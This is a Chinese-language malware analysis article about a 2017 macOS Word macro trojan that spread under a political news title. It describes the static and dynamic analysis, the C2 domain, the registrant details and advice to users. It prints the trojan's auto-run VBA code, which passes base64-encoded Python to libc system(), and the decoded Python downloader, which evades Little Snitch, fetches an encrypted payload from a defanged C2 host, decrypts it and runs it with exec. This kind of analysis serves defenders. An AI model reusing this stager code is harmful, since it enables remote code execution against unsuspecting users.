随着勒索软件在 2016 年的爆发,大量的恶意软件选择在邮件中使用含有宏的 word 文档进行伪装攻击。当用户打开文档时,如果不慎点击了 "启用宏" 的选项,宏木马会第一时间执行各类恶意行为,比如对用户的文件进行加密,或者安装远控木马等。
进入 2017 年,基于文档型宏木马的攻击仍然处于高活跃状态,更值得关注的是,木马制作团队已经开始将攻击目标指向了 MacOS 系统。近期,国外媒体报道了一个在 MacOS 平台中传播的 word 文档型宏木马,哈勃分析系统第一时间进行了跟进分析。
本次捕获的样本是一个 docm 格式的文件,即带有宏的 word 文档文件。其在 VirusTotal 中的基本信息如下:
文件大小:32.9 KB
标题:U.S. Allies and Rivals Digest Trump's Victory - Carnegie Endowment for International Peace.docm
首次提交时间:2017-01-16 18:48:58
从标题和首次提交时间来看,该样本试图借助美国总统就职的热点新闻事件进行传播扩散。
MacOS 平台上文档型宏样本的分析方法,同 Windows 平台上的分析方法类似,主要是静态分析和动态分析。静态分析包括解压文件、提取 VBA 代码、解密代码等项目,动态分析包括进程、网络等分析子项目。
word 2007 之后版本的 docx、docm 文件本质上是一个 zip 文件,可以使用 unzip 命令进行解压。如下命令展现了文档解压之后的子文件的目录结构。其中 word/vbaProject.bin 就是文档中宏代码所在的文件。
root# file sample.docm
sample.docm: Microsoft Word 2007+
root# unzip -d sample ./sample.docm
Archive: ./sample.docm
inflating: sample/[Content_Types].xml
inflating: sample/_rels/.rels
inflating: sample/word/_rels/document.xml.rels
inflating: sample/word/document.xml
inflating: sample/word/theme/theme1.xml
inflating: sample/word/vbaProject.bin
inflating: sample/word/_rels/vbaProject.bin.rels
inflating: sample/word/vbaData.xml
inflating: sample/word/settings.xml
inflating: sample/word/stylesWithEffects.xml
inflating: sample/word/styles.xml
inflating: sample/docProps/core.xml
inflating: sample/word/fontTable.xml
inflating: sample/word/webSettings.xml
inflating: sample/docProps/app.xml
VBA 代码可以通过 ClamAV 自带的 sigtool 进行提取,命令如下:
- root@remnux:~/macos# sigtool --vba ./word/vbaProject.bin
提取出的 VBA 代码,包括一些注释,经过进一步的分析,这里将关键性的自启动代码进行展示:
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Sub autoopen()
Fisher
End Sub
Public Declare Function system Lib "libc.dylib" (ByVal command As String) As Long
Public Sub Fisher()Dim result As Long
Dim cmd As String
cmd = "ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppbXBvcnQgc3"
cmd = cmd + "NsOwppZiBoYXNhdHRyKHNzbCwgJ19jcmVhdGVfdW52ZXJpZm"
...
cmd = cmd + "0pKQpleGVjKCcnLmpvaW4ob3V0KSk="
result = system("echo""import sys,base64;exec(base64.b64decode(\"" "& cmd &" \""));""| python &")End Sub
从第二步提取出的 VB 代码来看,主要使用的函数有三个:
首先是 autoopen,当文档被打开时会被自动调用。
其次 Fisher 函数会在 autoopen 时被调用,内容主要是将 cmd 变量拼接,然后使用 base64 进行解码,解码之后的代码会被传入 python 中执行,执行的过程使用了第三个函数 system。
在常见的 VBA 开发中,调用系统命令使用的是内置的 Shell 函数。而此次木马使用的 system 函数,是从 MacOS 上的动态连接库文件 libc.dylib 文件中导出的函数,这是此木马针对 MacOS 平台的一个表现。如果在 Windows 平台下执行这段宏,会提示声明中的 libc.dylib 文件找不到,无法继续执行。
木马使用 system 函数执行系统命令,将一段经过 base64 解码之后的代码传给 Python 解释器进行执行。由于 MacOS 系统默认自带了 Python 解释器,执行此命令时不会遇到兼容性问题。解码后的 Python 代码如下所示:
import ssl;
...
import sys, urllib2;
import re, subprocess;
cmd = "ps -ef | grep Little\ Snitch | grep -v grep"
ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
out = ps.stdout.read()
ps.stdout.close()
if re.search("Little Snitch", out):
sys.exit()
o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();UA='Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0';o.addheaders=[('User-Agent',UA)];a=o.open('[.]securitychecking[.]org:443/index.asp').read();key='fff96aed07cb7ea65e7f031bd714607d';S,j,out=range(256),0,[]
for i in range(256):
j=(j+S[i]+ord(key[i%len(key)]))%6
S[i],S[j]=S[j],S[i]
i=j=0
for char in a:
i=(i+1)%6
j=(j+S[i])%6
S[i],S[j]=S[j],S[i]
out.append(chr(ord(char)^S[(S[i]+S[j])%6]))
exec(''.join(out))
此 python 代码就是这份文档中包含的真正的恶意代码。主要有如下功能:
首先判断 Little Snitch 防火墙进程是否存在。
如果不存在,就使用 HTTPS 协议下载加密的 payload。
然后对内存中的 payload 进行解密,使用了对称加密算法,主要使用了置换和异或操作,其密钥是:fff96aed07cb7ea65e7f031bd714607d。
最后使用 python 中的 exec 函数执行下载的 payload,下载器的工作完成,开始真正的恶意流程。
在动态分析过程中,分析人员将木马样本置于虚拟机中进行分析,发现用户点击 "启用宏" 是本次木马能够成功运行的关键前提。如下图所示。
当用户点击 "启用宏" 按钮后,文档中的 VB 代码便会自动运行,执行前述的解密 python 代码、下载 payload、运行 payload 等一系列操作。
此时,在 word 中选择工具 -> 宏 ->VB 编辑器菜单选项,也可以看到恶意 VB 代码。如下图所示。
基于前面的静态分析,本次动态分析以网络监控为主。使用 tcpdump 命令可以将网络流量进行记录,用于之后的分析。
- tcpdump -i any -w sample.pcap
也可以使用网络分析工具 Wireshark 中对网络行为进行监控,例如此木马发送 DNS 请求的情况如下:
前面的静态分析和动态分析中提取的 C&C 服务器信息,都指向了同一个域名:www[.]securitychecking[.]org。
经过查询域名相关信息,可以看到此域名的注册者为:
Name:Michel Ward
Address:2539 Wayback Lane
City:Riverhead
State / Province:New York
Postal Code:11901
Country:US
Email:miward#yandex[.]com
同时,此注册者还注册了另外一个域名:d7y57o5a[.]com。
从以上信息可以看出,注册者提供的地点是在美国,但是使用的邮箱是俄罗斯著名互联网企业 Yandex 提供的邮箱。遗憾的是,在对木马进行分析的时候,域名 www[.]securitychecking[.]org 已经被攻击者弃用,已经无法解析 IP。根据之前安全专家的分析,域名以前对应的 IP 也位于俄罗斯境内。
对于 MacOS 平台上的宏木马,目前仍处于技术发展的探索阶段,但是借助 Windows 平台上宏木马的成熟技术,再加上 MacOS 中提供的一些便利的执行条件(例如 Python 环境、shell 命令等),预计今后一段时间,这类新型的攻击方式会出现大幅度的增长。
在此提醒用户,即使是在使用 Mac 电脑的时候,也不应该放松警惕。在打开 word 文档时,不要轻易选择 "启用宏" 选项,特别是对于邮件中的 word 附件要进行反复确认。保持良好的安全习惯,才能在各种不同的设备上保障自身的安全。
2.
来源: http://www.tuicool.com/articles/mA7Vzuy